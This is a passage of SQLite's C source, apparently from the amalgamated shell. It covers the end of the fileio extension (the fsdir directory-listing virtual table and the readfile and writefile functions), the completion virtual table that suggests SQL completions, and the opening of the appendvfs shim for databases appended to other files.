if( pEntry->d_name[1]=='.' && pEntry->d_name[2]=='\0' ) continue;
if( pEntry->d_name[1]=='\0' ) continue;
}
sqlite3_free(pCur->zPath);
pCur->zPath = sqlite3_mprintf("%s/%s", pLvl->zDir, pEntry->d_name);
if( pCur->zPath==0 ) return SQLITE_NOMEM;
if( fileLinkStat(pCur->zPath, &pCur->sStat) ){
fsdirSetErrmsg(pCur, "cannot stat file: %s", pCur->zPath);
return SQLITE_ERROR;
}
return SQLITE_OK;
}
closedir(pLvl->pDir);
sqlite3_free(pLvl->zDir);
pLvl->pDir = 0;
pLvl->zDir = 0;
pCur->iLvl--;
}
/* EOF */
sqlite3_free(pCur->zPath);
pCur->zPath = 0;
return SQLITE_OK;
}
/*
** Return values of columns for the row at which the series_cursor
** is currently pointing.
*/
static int fsdirColumn(
sqlite3_vtab_cursor *cur, /* The cursor */
sqlite3_context *ctx, /* First argument to sqlite3_result_...() */
int i /* Which column to return */
){
fsdir_cursor *pCur = (fsdir_cursor*)cur;
switch( i ){
case FSDIR_COLUMN_NAME: {
sqlite3_result_text(ctx, &pCur->zPath[pCur->nBase], -1, SQLITE_TRANSIENT);
break;
}
case FSDIR_COLUMN_MODE:
sqlite3_result_int64(ctx, pCur->sStat.st_mode);
break;
case FSDIR_COLUMN_MTIME:
sqlite3_result_int64(ctx, pCur->sStat.st_mtime);
break;
case FSDIR_COLUMN_DATA: {
mode_t m = pCur->sStat.st_mode;
if( S_ISDIR(m) ){
sqlite3_result_null(ctx);
#if !defined(_WIN32) && !defined(WIN32)
}else if( S_ISLNK(m) ){
char aStatic[64];
char *aBuf = aStatic;
sqlite3_int64 nBuf = 64;
int n;
while( 1 ){
n = readlink(pCur->zPath, aBuf, nBuf);
if( n<nBuf ) break;
if( aBuf!=aStatic ) sqlite3_free(aBuf);
nBuf = nBuf*2;
aBuf = sqlite3_malloc64(nBuf);
if( aBuf==0 ){
sqlite3_result_error_nomem(ctx);
return SQLITE_NOMEM;
}
}
sqlite3_result_text(ctx, aBuf, n, SQLITE_TRANSIENT);
if( aBuf!=aStatic ) sqlite3_free(aBuf);
#endif
}else{
readFileContents(ctx, pCur->zPath);
}
}
case FSDIR_COLUMN_PATH:
default: {
/* The FSDIR_COLUMN_PATH and FSDIR_COLUMN_DIR are input parameters.
** always return their values as NULL */
break;
}
}
return SQLITE_OK;
}
/*
** Return the rowid for the current row. In this implementation, the
** first row returned is assigned rowid value 1, and each subsequent
** row a value 1 more than that of the previous.
*/
static int fsdirRowid(sqlite3_vtab_cursor *cur, sqlite_int64 *pRowid){
fsdir_cursor *pCur = (fsdir_cursor*)cur;
*pRowid = pCur->iRowid;
return SQLITE_OK;
}
/*
** Return TRUE if the cursor has been moved off of the last
** row of output.
*/
static int fsdirEof(sqlite3_vtab_cursor *cur){
fsdir_cursor *pCur = (fsdir_cursor*)cur;
return (pCur->zPath==0);
}
/*
** xFilter callback.
**
** idxNum==1 PATH parameter only
** idxNum==2 Both PATH and DIR supplied
*/
static int fsdirFilter(
sqlite3_vtab_cursor *cur,
int idxNum, const char *idxStr,
int argc, sqlite3_value **argv
){
const char *zDir = 0;
fsdir_cursor *pCur = (fsdir_cursor*)cur;
(void)idxStr;
fsdirResetCursor(pCur);
if( idxNum==0 ){
fsdirSetErrmsg(pCur, "table function fsdir requires an argument");
return SQLITE_ERROR;
}
assert( argc==idxNum && (argc==1 || argc==2) );
zDir = (const char*)sqlite3_value_text(argv[0]);
if( zDir==0 ){
fsdirSetErrmsg(pCur, "table function fsdir requires a non-NULL argument");
return SQLITE_ERROR;
}
if( argc==2 ){
pCur->zBase = (const char*)sqlite3_value_text(argv[1]);
}
if( pCur->zBase ){
pCur->nBase = (int)strlen(pCur->zBase)+1;
pCur->zPath = sqlite3_mprintf("%s/%s", pCur->zBase, zDir);
}else{
pCur->zPath = sqlite3_mprintf("%s", zDir);
}
if( pCur->zPath==0 ){
return SQLITE_NOMEM;
}
if( fileLinkStat(pCur->zPath, &pCur->sStat) ){
fsdirSetErrmsg(pCur, "cannot stat file: %s", pCur->zPath);
return SQLITE_ERROR;
}
return SQLITE_OK;
}
/*
** SQLite will invoke this method one or more times while planning a query
** that uses the generate_series virtual table. This routine needs to create
** a query plan for each invocation and compute an estimated cost for that
** plan.
**
** In this implementation idxNum is used to represent the
** query plan. idxStr is unused.
**
** The query plan is represented by values of idxNum:
**
** (1) The path value is supplied by argv[0]
** (2) Path is in argv[0] and dir is in argv[1]
*/
static int fsdirBestIndex(
sqlite3_vtab *tab,
sqlite3_index_info *pIdxInfo
){
int i; /* Loop over constraints */
int idxPath = -1; /* Index in pIdxInfo->aConstraint of PATH= */
int idxDir = -1; /* Index in pIdxInfo->aConstraint of DIR= */
int seenPath = 0; /* True if an unusable PATH= constraint is seen */
int seenDir = 0; /* True if an unusable DIR= constraint is seen */
const struct sqlite3_index_constraint *pConstraint;
(void)tab;
pConstraint = pIdxInfo->aConstraint;
for(i=0; i<pIdxInfo->nConstraint; i++, pConstraint++){
if( pConstraint->op!=SQLITE_INDEX_CONSTRAINT_EQ ) continue;
switch( pConstraint->iColumn ){
case FSDIR_COLUMN_PATH: {
if( pConstraint->usable ){
idxPath = i;
seenPath = 0;
}else if( idxPath<0 ){
seenPath = 1;
}
break;
}
case FSDIR_COLUMN_DIR: {
if( pConstraint->usable ){
idxDir = i;
seenDir = 0;
}else if( idxDir<0 ){
seenDir = 1;
}
break;
}
}
}
if( seenPath || seenDir ){
/* If input parameters are unusable, disallow this plan */
return SQLITE_CONSTRAINT;
}
if( idxPath<0 ){
pIdxInfo->idxNum = 0;
/* The pIdxInfo->estimatedCost should have been initialized to a huge
** number. Leave it unchanged. */
pIdxInfo->estimatedRows = 0x7fffffff;
}else{
pIdxInfo->aConstraintUsage[idxPath].omit = 1;
pIdxInfo->aConstraintUsage[idxPath].argvIndex = 1;
if( idxDir>=0 ){
pIdxInfo->aConstraintUsage[idxDir].omit = 1;
pIdxInfo->aConstraintUsage[idxDir].argvIndex = 2;
pIdxInfo->idxNum = 2;
pIdxInfo->estimatedCost = 10.0;
}else{
pIdxInfo->idxNum = 1;
pIdxInfo->estimatedCost = 100.0;
}
}
return SQLITE_OK;
}
/*
** Register the "fsdir" virtual table.
*/
static int fsdirRegister(sqlite3 *db){
static sqlite3_module fsdirModule = {
0, /* iVersion */
0, /* xCreate */
fsdirConnect, /* xConnect */
fsdirBestIndex, /* xBestIndex */
fsdirDisconnect, /* xDisconnect */
0, /* xDestroy */
fsdirOpen, /* xOpen - open a cursor */
fsdirClose, /* xClose - close a cursor */
fsdirFilter, /* xFilter - configure scan constraints */
fsdirNext, /* xNext - advance a cursor */
fsdirEof, /* xEof - check for end of scan */
fsdirColumn, /* xColumn - read data */
fsdirRowid, /* xRowid - read data */
0, /* xUpdate */
0, /* xBegin */
0, /* xSync */
0, /* xCommit */
0, /* xRollback */
0, /* xFindMethod */
0, /* xRename */
0, /* xSavepoint */
0, /* xRelease */
0, /* xRollbackTo */
0, /* xShadowName */
};
int rc = sqlite3_create_module(db, "fsdir", &fsdirModule, 0);
return rc;
}
#else /* SQLITE_OMIT_VIRTUALTABLE */
# define fsdirRegister(x) SQLITE_OK
#endif
#ifdef _WIN32
#endif
int sqlite3_fileio_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
(void)pzErrMsg; /* Unused parameter */
rc = sqlite3_create_function(db, "readfile", 1,
SQLITE_UTF8|SQLITE_DIRECTONLY, 0,
readfileFunc, 0, 0);
if( rc==SQLITE_OK ){
rc = sqlite3_create_function(db, "writefile", -1,
SQLITE_UTF8|SQLITE_DIRECTONLY, 0,
writefileFunc, 0, 0);
}
if( rc==SQLITE_OK ){
rc = sqlite3_create_function(db, "lsmode", 1, SQLITE_UTF8, 0,
lsModeFunc, 0, 0);
}
if( rc==SQLITE_OK ){
rc = fsdirRegister(db);
}
return rc;
}
/************************* End ../ext/misc/fileio.c ********************/
/************************* Begin ../ext/misc/completion.c ******************/
/*
** 2017-07-10
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
**
** This file implements an eponymous virtual table that returns suggested
** completions for a partial SQL input.
**
** Suggested usage:
**
** SELECT DISTINCT candidate COLLATE nocase
** FROM completion($prefix,$wholeline)
** ORDER BY 1;
**
** The two query parameters are optional. $prefix is the text of the
** current word being typed and that is to be completed. $wholeline is
** the complete input line, used for context.
**
** The raw completion() table might return the same candidate multiple
** times, for example if the same column name is used to two or more
** tables. And the candidates are returned in an arbitrary order. Hence,
** the DISTINCT and ORDER BY are recommended.
**
** This virtual table operates at the speed of human typing, and so there
** is no attempt to make it fast. Even a slow implementation will be much
** faster than any human can type.
**
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <assert.h>
#include <string.h>
#include <ctype.h>
#ifndef SQLITE_OMIT_VIRTUALTABLE
/* completion_vtab is a subclass of sqlite3_vtab which will
** serve as the underlying representation of a completion virtual table
*/
typedef struct completion_vtab completion_vtab;
struct completion_vtab {
sqlite3_vtab base; /* Base class - must be first */
sqlite3 *db; /* Database connection for this completion vtab */
};
/* completion_cursor is a subclass of sqlite3_vtab_cursor which will
** serve as the underlying representation of a cursor that scans
** over rows of the result
*/
typedef struct completion_cursor completion_cursor;
struct completion_cursor {
sqlite3_vtab_cursor base; /* Base class - must be first */
sqlite3 *db; /* Database connection for this cursor */
int nPrefix, nLine; /* Number of bytes in zPrefix and zLine */
char *zPrefix; /* The prefix for the word we want to complete */
char *zLine; /* The whole that we want to complete */
const char *zCurrentRow; /* Current output row */
int szRow; /* Length of the zCurrentRow string */
sqlite3_stmt *pStmt; /* Current statement */
sqlite3_int64 iRowid; /* The rowid */
int ePhase; /* Current phase */
int j; /* inter-phase counter */
};
/* Values for ePhase:
*/
#define COMPLETION_FIRST_PHASE 1
#define COMPLETION_KEYWORDS 1
#define COMPLETION_PRAGMAS 2
#define COMPLETION_FUNCTIONS 3
#define COMPLETION_COLLATIONS 4
#define COMPLETION_INDEXES 5
#define COMPLETION_TRIGGERS 6
#define COMPLETION_DATABASES 7
#define COMPLETION_TABLES 8 /* Also VIEWs and TRIGGERs */
#define COMPLETION_COLUMNS 9
#define COMPLETION_MODULES 10
#define COMPLETION_EOF 11
/*
** The completionConnect() method is invoked to create a new
** completion_vtab that describes the completion virtual table.
**
** Think of this routine as the constructor for completion_vtab objects.
**
** All this routine needs to do is:
**
** (1) Allocate the completion_vtab object and initialize all fields.
**
** (2) Tell SQLite (via the sqlite3_declare_vtab() interface) what the
** result set of queries against completion will look like.
*/
static int completionConnect(
sqlite3 *db,
void *pAux,
int argc, const char *const*argv,
sqlite3_vtab **ppVtab,
char **pzErr
){
completion_vtab *pNew;
int rc;
(void)(pAux); /* Unused parameter */
(void)(argc); /* Unused parameter */
(void)(argv); /* Unused parameter */
(void)(pzErr); /* Unused parameter */
/* Column numbers */
#define COMPLETION_COLUMN_CANDIDATE 0 /* Suggested completion of the input */
#define COMPLETION_COLUMN_PREFIX 1 /* Prefix of the word to be completed */
#define COMPLETION_COLUMN_WHOLELINE 2 /* Entire line seen so far */
#define COMPLETION_COLUMN_PHASE 3 /* ePhase - used for debugging only */
sqlite3_vtab_config(db, SQLITE_VTAB_INNOCUOUS);
rc = sqlite3_declare_vtab(db,
"CREATE TABLE x("
" candidate TEXT,"
" prefix TEXT HIDDEN,"
" wholeline TEXT HIDDEN,"
" phase INT HIDDEN" /* Used for debugging only */
")");
if( rc==SQLITE_OK ){
pNew = sqlite3_malloc( sizeof(*pNew) );
*ppVtab = (sqlite3_vtab*)pNew;
if( pNew==0 ) return SQLITE_NOMEM;
memset(pNew, 0, sizeof(*pNew));
pNew->db = db;
}
return rc;
}
/*
** This method is the destructor for completion_cursor objects.
*/
static int completionDisconnect(sqlite3_vtab *pVtab){
sqlite3_free(pVtab);
return SQLITE_OK;
}
/*
** Constructor for a new completion_cursor object.
*/
static int completionOpen(sqlite3_vtab *p, sqlite3_vtab_cursor **ppCursor){
completion_cursor *pCur;
pCur = sqlite3_malloc( sizeof(*pCur) );
if( pCur==0 ) return SQLITE_NOMEM;
memset(pCur, 0, sizeof(*pCur));
pCur->db = ((completion_vtab*)p)->db;
*ppCursor = &pCur->base;
return SQLITE_OK;
}
/*
** Reset the completion_cursor.
*/
static void completionCursorReset(completion_cursor *pCur){
sqlite3_free(pCur->zPrefix); pCur->zPrefix = 0; pCur->nPrefix = 0;
sqlite3_free(pCur->zLine); pCur->zLine = 0; pCur->nLine = 0;
sqlite3_finalize(pCur->pStmt); pCur->pStmt = 0;
pCur->j = 0;
}
/*
** Destructor for a completion_cursor.
*/
static int completionClose(sqlite3_vtab_cursor *cur){
completionCursorReset((completion_cursor*)cur);
sqlite3_free(cur);
return SQLITE_OK;
}
/*
** Advance a completion_cursor to its next row of output.
**
** The ->ePhase, ->j, and ->pStmt fields of the completion_cursor object
** record the current state of the scan. This routine sets ->zCurrentRow
** to the current row of output and then returns. If no more rows remain,
** then ->ePhase is set to COMPLETION_EOF which will signal the virtual
** table that has reached the end of its scan.
**
** The current implementation just lists potential identifiers and
** keywords and filters them by zPrefix. Future enhancements should
** take zLine into account to try to restrict the set of identifiers and
** keywords based on what would be legal at the current point of input.
*/
static int completionNext(sqlite3_vtab_cursor *cur){
completion_cursor *pCur = (completion_cursor*)cur;
int eNextPhase = 0; /* Next phase to try if current phase reaches end */
int iCol = -1; /* If >=0, step pCur->pStmt and use the i-th column */
pCur->iRowid++;
while( pCur->ePhase!=COMPLETION_EOF ){
switch( pCur->ePhase ){
case COMPLETION_KEYWORDS: {
if( pCur->j >= sqlite3_keyword_count() ){
pCur->zCurrentRow = 0;
pCur->ePhase = COMPLETION_DATABASES;
}else{
sqlite3_keyword_name(pCur->j++, &pCur->zCurrentRow, &pCur->szRow);
}
iCol = -1;
break;
}
case COMPLETION_DATABASES: {
if( pCur->pStmt==0 ){
sqlite3_prepare_v2(pCur->db, "PRAGMA database_list", -1,
&pCur->pStmt, 0);
}
iCol = 1;
eNextPhase = COMPLETION_TABLES;
break;
}
case COMPLETION_TABLES: {
if( pCur->pStmt==0 ){
sqlite3_stmt *pS2;
char *zSql = 0;
const char *zSep = "";
sqlite3_prepare_v2(pCur->db, "PRAGMA database_list", -1, &pS2, 0);
while( sqlite3_step(pS2)==SQLITE_ROW ){
const char *zDb = (const char*)sqlite3_column_text(pS2, 1);
zSql = sqlite3_mprintf(
"%z%s"
"SELECT name FROM \"%w\".sqlite_schema",
zSql, zSep, zDb
);
if( zSql==0 ) return SQLITE_NOMEM;
zSep = " UNION ";
}
sqlite3_finalize(pS2);
sqlite3_prepare_v2(pCur->db, zSql, -1, &pCur->pStmt, 0);
sqlite3_free(zSql);
}
iCol = 0;
eNextPhase = COMPLETION_COLUMNS;
break;
}
case COMPLETION_COLUMNS: {
if( pCur->pStmt==0 ){
sqlite3_stmt *pS2;
char *zSql = 0;
const char *zSep = "";
sqlite3_prepare_v2(pCur->db, "PRAGMA database_list", -1, &pS2, 0);
while( sqlite3_step(pS2)==SQLITE_ROW ){
const char *zDb = (const char*)sqlite3_column_text(pS2, 1);
zSql = sqlite3_mprintf(
"%z%s"
"SELECT pti.name FROM \"%w\".sqlite_schema AS sm"
" JOIN pragma_table_info(sm.name,%Q) AS pti"
" WHERE sm.type='table'",
zSql, zSep, zDb, zDb
);
if( zSql==0 ) return SQLITE_NOMEM;
zSep = " UNION ";
}
sqlite3_finalize(pS2);
sqlite3_prepare_v2(pCur->db, zSql, -1, &pCur->pStmt, 0);
sqlite3_free(zSql);
}
iCol = 0;
eNextPhase = COMPLETION_EOF;
break;
}
}
if( iCol<0 ){
/* This case is when the phase presets zCurrentRow */
if( pCur->zCurrentRow==0 ) continue;
}else{
if( sqlite3_step(pCur->pStmt)==SQLITE_ROW ){
/* Extract the next row of content */
pCur->zCurrentRow = (const char*)sqlite3_column_text(pCur->pStmt, iCol);
pCur->szRow = sqlite3_column_bytes(pCur->pStmt, iCol);
}else{
/* When all rows are finished, advance to the next phase */
sqlite3_finalize(pCur->pStmt);
pCur->pStmt = 0;
pCur->ePhase = eNextPhase;
continue;
}
}
if( pCur->nPrefix==0 ) break;
if( pCur->nPrefix<=pCur->szRow
&& sqlite3_strnicmp(pCur->zPrefix, pCur->zCurrentRow, pCur->nPrefix)==0
){
break;
}
}
return SQLITE_OK;
}
/*
** Return values of columns for the row at which the completion_cursor
** is currently pointing.
*/
static int completionColumn(
sqlite3_vtab_cursor *cur, /* The cursor */
sqlite3_context *ctx, /* First argument to sqlite3_result_...() */
int i /* Which column to return */
){
completion_cursor *pCur = (completion_cursor*)cur;
switch( i ){
case COMPLETION_COLUMN_CANDIDATE: {
sqlite3_result_text(ctx, pCur->zCurrentRow, pCur->szRow,SQLITE_TRANSIENT);
break;
}
case COMPLETION_COLUMN_PREFIX: {
sqlite3_result_text(ctx, pCur->zPrefix, -1, SQLITE_TRANSIENT);
break;
}
case COMPLETION_COLUMN_WHOLELINE: {
sqlite3_result_text(ctx, pCur->zLine, -1, SQLITE_TRANSIENT);
break;
}
case COMPLETION_COLUMN_PHASE: {
sqlite3_result_int(ctx, pCur->ePhase);
break;
}
}
return SQLITE_OK;
}
/*
** Return the rowid for the current row. In this implementation, the
** rowid is the same as the output value.
*/
static int completionRowid(sqlite3_vtab_cursor *cur, sqlite_int64 *pRowid){
completion_cursor *pCur = (completion_cursor*)cur;
*pRowid = pCur->iRowid;
return SQLITE_OK;
}
/*
** Return TRUE if the cursor has been moved off of the last
** row of output.
*/
static int completionEof(sqlite3_vtab_cursor *cur){
completion_cursor *pCur = (completion_cursor*)cur;
return pCur->ePhase >= COMPLETION_EOF;
}
/*
** This method is called to "rewind" the completion_cursor object back
** to the first row of output. This method is always called at least
** once prior to any call to completionColumn() or completionRowid() or
** completionEof().
*/
static int completionFilter(
sqlite3_vtab_cursor *pVtabCursor,
int idxNum, const char *idxStr,
int argc, sqlite3_value **argv
){
completion_cursor *pCur = (completion_cursor *)pVtabCursor;
int iArg = 0;
(void)(idxStr); /* Unused parameter */
(void)(argc); /* Unused parameter */
completionCursorReset(pCur);
if( idxNum & 1 ){
pCur->nPrefix = sqlite3_value_bytes(argv[iArg]);
if( pCur->nPrefix>0 ){
pCur->zPrefix = sqlite3_mprintf("%s", sqlite3_value_text(argv[iArg]));
if( pCur->zPrefix==0 ) return SQLITE_NOMEM;
}
iArg = 1;
}
if( idxNum & 2 ){
pCur->nLine = sqlite3_value_bytes(argv[iArg]);
if( pCur->nLine>0 ){
pCur->zLine = sqlite3_mprintf("%s", sqlite3_value_text(argv[iArg]));
if( pCur->zLine==0 ) return SQLITE_NOMEM;
}
}
if( pCur->zLine!=0 && pCur->zPrefix==0 ){
int i = pCur->nLine;
while( i>0 && (isalnum(pCur->zLine[i-1]) || pCur->zLine[i-1]=='_') ){
i--;
}
pCur->nPrefix = pCur->nLine - i;
if( pCur->nPrefix>0 ){
pCur->zPrefix = sqlite3_mprintf("%.*s", pCur->nPrefix, pCur->zLine + i);
if( pCur->zPrefix==0 ) return SQLITE_NOMEM;
}
}
pCur->iRowid = 0;
pCur->ePhase = COMPLETION_FIRST_PHASE;
return completionNext(pVtabCursor);
}
/*
** SQLite will invoke this method one or more times while planning a query
** that uses the completion virtual table. This routine needs to create
** a query plan for each invocation and compute an estimated cost for that
** plan.
**
** There are two hidden parameters that act as arguments to the table-valued
** function: "prefix" and "wholeline". Bit 0 of idxNum is set if "prefix"
** is available and bit 1 is set if "wholeline" is available.
*/
static int completionBestIndex(
sqlite3_vtab *tab,
sqlite3_index_info *pIdxInfo
){
int i; /* Loop over constraints */
int idxNum = 0; /* The query plan bitmask */
int prefixIdx = -1; /* Index of the start= constraint, or -1 if none */
int wholelineIdx = -1; /* Index of the stop= constraint, or -1 if none */
int nArg = 0; /* Number of arguments that completeFilter() expects */
const struct sqlite3_index_constraint *pConstraint;
(void)(tab); /* Unused parameter */
pConstraint = pIdxInfo->aConstraint;
for(i=0; i<pIdxInfo->nConstraint; i++, pConstraint++){
if( pConstraint->usable==0 ) continue;
if( pConstraint->op!=SQLITE_INDEX_CONSTRAINT_EQ ) continue;
switch( pConstraint->iColumn ){
case COMPLETION_COLUMN_PREFIX:
prefixIdx = i;
idxNum |= 1;
break;
case COMPLETION_COLUMN_WHOLELINE:
wholelineIdx = i;
idxNum |= 2;
break;
}
}
if( prefixIdx>=0 ){
pIdxInfo->aConstraintUsage[prefixIdx].argvIndex = ++nArg;
pIdxInfo->aConstraintUsage[prefixIdx].omit = 1;
}
if( wholelineIdx>=0 ){
pIdxInfo->aConstraintUsage[wholelineIdx].argvIndex = ++nArg;
pIdxInfo->aConstraintUsage[wholelineIdx].omit = 1;
}
pIdxInfo->idxNum = idxNum;
pIdxInfo->estimatedCost = (double)5000 - 1000*nArg;
pIdxInfo->estimatedRows = 500 - 100*nArg;
return SQLITE_OK;
}
/*
** This following structure defines all the methods for the
** completion virtual table.
*/
static sqlite3_module completionModule = {
0, /* iVersion */
0, /* xCreate */
completionConnect, /* xConnect */
completionBestIndex, /* xBestIndex */
completionDisconnect, /* xDisconnect */
0, /* xDestroy */
completionOpen, /* xOpen - open a cursor */
completionClose, /* xClose - close a cursor */
completionFilter, /* xFilter - configure scan constraints */
completionNext, /* xNext - advance a cursor */
completionEof, /* xEof - check for end of scan */
completionColumn, /* xColumn - read data */
completionRowid, /* xRowid - read data */
0, /* xUpdate */
0, /* xBegin */
0, /* xSync */
0, /* xCommit */
0, /* xRollback */
0, /* xFindMethod */
0, /* xRename */
0, /* xSavepoint */
0, /* xRelease */
0, /* xRollbackTo */
0 /* xShadowName */
};
#endif /* SQLITE_OMIT_VIRTUALTABLE */
int sqlite3CompletionVtabInit(sqlite3 *db){
int rc = SQLITE_OK;
#ifndef SQLITE_OMIT_VIRTUALTABLE
rc = sqlite3_create_module(db, "completion", &completionModule, 0);
#endif
return rc;
}
#ifdef _WIN32
#endif
int sqlite3_completion_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
(void)(pzErrMsg); /* Unused parameter */
#ifndef SQLITE_OMIT_VIRTUALTABLE
rc = sqlite3CompletionVtabInit(db);
#endif
return rc;
}
/************************* End ../ext/misc/completion.c ********************/
/************************* Begin ../ext/misc/appendvfs.c ******************/
/*
** 2017-10-20
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** This file implements a VFS shim that allows an SQLite database to be
** appended onto the end of some other file, such as an executable.
**
** A special record must appear at the end of the file that identifies the
** file as an appended database and provides the offset to the first page
** of the exposed content. (Or, it is the length of the content prefix.)
** For best performance page 1 should be located at a disk page boundary,
** though that is not required.
**
** When opening a database using this VFS, the connection might treat
** the file as an ordinary SQLite database, or it might treat it as a
** database appended onto some other file. The decision is made by
** applying the following rules in order:
**
** (1) An empty file is an ordinary database.
**
** (2) If the file ends with the appendvfs trailer string
** "Start-Of-SQLite3-NNNNNNNN" that file is an appended database.
**
** (3) If the file begins with the standard SQLite prefix string
** "SQLite format 3", that file is an ordinary database.
**
** (4) If none of the above apply and the SQLITE_OPEN_CREATE flag is
** set, then a new database is appended to the already existing file.
**
** (5) Otherwise, SQLITE_CANTOPEN is returned.
**
** To avoid unnecessary complications with the PENDING_BYTE, the size of
** the file containing the database is limited to 1GiB. (1073741824 bytes)
** This VFS will not read or write past the 1GiB mark. This restriction
** might be lifted in future versions. For now, if you need a larger
** database, then keep it in a separate file.
**
** If the file being opened is a plain database (not an appended one), then
** this shim is a pass-through into the default underlying VFS. (rule 3)
**/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <string.h>
#include <assert.h>
/* The append mark at the end of the database is:
**
** Start-Of-SQLite3-NNNNNNNN
** 123456789 123456789 12345
**
** The NNNNNNNN represents a 64-bit big-endian unsigned integer which is
** the offset to page 1, and also the length of the prefix content.
*/
#define APND_MARK_PREFIX "Start-Of-SQLite3-"
#define APND_MARK_PREFIX_SZ 17
#define APND_MARK_FOS_SZ 8
#define APND_MARK_SIZE (APND_MARK_PREFIX_SZ+APND_MARK_FOS_SZ)
/*
** Maximum size of the combined prefix + database + append-mark. This
** must be less than 0x40000000 to avoid locking issues on Windows.
*/
#define APND_MAX_SIZE (0x40000000)
/*
** Try to align the database to an even multiple of APND_ROUNDUP bytes.
*/
#ifndef APND_ROUNDUP
#define APND_ROUNDUP 4096
#endif
#define APND_ALIGN_MASK ((sqlite3_int64)(APND_ROUNDUP-1))
#define APND_START_ROUNDUP(fsz) (((fsz)+APND_ALIGN_MASK) & ~APND_ALIGN_MASK)
/*
** Forward declaration of objects used by this utility
*/
typedef struct sqlite3_vfs ApndVfs;
typedef struct ApndFile ApndFile;
/* Access to a lower-level VFS that (might) implement dynamic loading,
** access to randomness, etc.
*/
#define ORIGVFS(p) ((sqlite3_vfs*)((p)->pAppData))
#define ORIGFILE(p) ((sqlite3_file*)(((ApndFile*)(p))+1))
/* An open appendvfs file
**
** An instance of this structure describes the appended database file.
** A separate sqlite3_file object is always appended. The appended
** sqlite3_file object (which can be accessed using ORIGFILE()) describes
** the entire file, including the prefix, the database, and the
** append-mark.
**
** The structure of an AppendVFS database is like this:
**
** +-------------+---------+----------+-------------+
** | prefix-file | padding | database | append-mark |
** +-------------+---------+----------+-------------+
** ^ ^
** | |
** iPgOne iMark
**
**
** "prefix file" - file onto which the database has been appended.
** "padding" - zero or more bytes inserted so that "database"
** starts on an APND_ROUNDUP boundary
** "database" - The SQLite database file
** "append-mark" - The 25-byte "Start-Of-SQLite3-NNNNNNNN" that indicates
** the offset from the start of prefix-file to the start
** of "database".
**
** The size of the database is iMark - iPgOne.
**
** The NNNNNNNN in the "Start-Of-SQLite3-NNNNNNNN" suffix is the value
** of iPgOne stored as a big-ending 64-bit integer.
**
** iMark will be the size of the underlying file minus 25 (APND_MARKSIZE).
** Or, iMark is -1 to indicate that it has not yet been written.
*/
struct ApndFile {
sqlite3_file base; /* Subclass. MUST BE FIRST! */
sqlite3_int64 iPgOne; /* Offset to the start of the database */
sqlite3_int64 iMark; /* Offset of the append mark. -1 if unwritten */
/* Always followed by another sqlite3_file that describes the whole file */
};
/*
** Methods for ApndFile
*/
static int apndClose(sqlite3_file*);
static int apndRead(sqlite3_file*, void*, int iAmt, sqlite3_int64 iOfst);
static int apndWrite(sqlite3_file*,const void*,int iAmt, sqlite3_int64 iOfst);
static int apndTruncate(sqlite3_file*, sqlite3_int64 size);
static int apndSync(sqlite3_file*, int flags);
static int apndFileSize(sqlite3_file*, sqlite3_int64 *pSize);
static int apndLock(sqlite3_file*, int);
static int apndUnlock(sqlite3_file*, int);
static int apndCheckReservedLock(sqlite3_file*, int *pResOut);
static int apndFileControl(sqlite3_file*, int op, void *pArg);
static int apndSectorSize(sqlite3_file*);
static int apndDeviceCharacteristics(sqlite3_file*);
static int apndShmMap(sqlite3_file*, int iPg, int pgsz, int, void volatile**);
static int apndShmLock(sqlite3_file*, int offset, int n, int flags);
static void apndShmBarrier(sqlite3_file*);
static int apndShmUnmap(sqlite3_file*, int deleteFlag);
static int apndFetch(sqlite3_file*, sqlite3_int64 iOfst, int iAmt, void **pp);
static int apndUnfetch(sqlite3_file*, sqlite3_int64 iOfst, void *p);
/*
** Methods for ApndVfs
*/
static int apndOpen(sqlite3_vfs*, const char *, sqlite3_file*, int , int *);
static int apndDelete(sqlite3_vfs*, const char *zName, int syncDir);
static int apndAccess(sqlite3_vfs*, const char *zName, int flags, int *);
static int apndFullPathname(sqlite3_vfs*, const char *zName, int, char *zOut);
static void *apndDlOpen(sqlite3_vfs*, const char *zFilename);
static void apndDlError(sqlite3_vfs*, int nByte, char *zErrMsg);
static void (*apndDlSym(sqlite3_vfs *pVfs, void *p, const char*zSym))(void);
static void apndDlClose(sqlite3_vfs*, void*);
static int apndRandomness(sqlite3_vfs*, int nByte, char *zOut);
static int apndSleep(sqlite3_vfs*, int microseconds);
static int apndCurrentTime(sqlite3_vfs*, double*);
static int apndGetLastError(sqlite3_vfs*, int, char *);
static int apndCurrentTimeInt64(sqlite3_vfs*, sqlite3_int64*);
static int apndSetSystemCall(sqlite3_vfs*, const char*,sqlite3_syscall_ptr);
static sqlite3_syscall_ptr apndGetSystemCall(sqlite3_vfs*, const char *z);
static const char *apndNextSystemCall(sqlite3_vfs*, const char *zName);
static sqlite3_vfs apnd_vfs = {
3, /* iVersion (set when registered) */
0, /* szOsFile (set when registered) */
1024, /* mxPathname */
0, /* pNext */
"apndvfs", /* zName */
0, /* pAppData (set when registered) */
apndOpen, /* xOpen */
apndDelete, /* xDelete */
apndAccess, /* xAccess */
apndFullPathname, /* xFullPathname */
apndDlOpen, /* xDlOpen */
apndDlError, /* xDlError */
apndDlSym, /* xDlSym */
apndDlClose, /* xDlClose */
apndRandomness, /* xRandomness */
apndSleep, /* xSleep */
apndCurrentTime, /* xCurrentTime */
apndGetLastError, /* xGetLastError */
apndCurrentTimeInt64, /* xCurrentTimeInt64 */
apndSetSystemCall, /* xSetSystemCall */
apndGetSystemCall, /* xGetSystemCall */
apndNextSystemCall /* xNextSystemCall */
};
static const sqlite3_io_methods apnd_io_methods = {
3, /* iVersion */
apndClose, /* xClose */
apndRead, /* xRead */
apndWrite, /* xWrite */
apndTruncate, /* xTruncate */
apndSync, /* xSync */
apndFileSize, /* xFileSize */
apndLock, /* xLock */
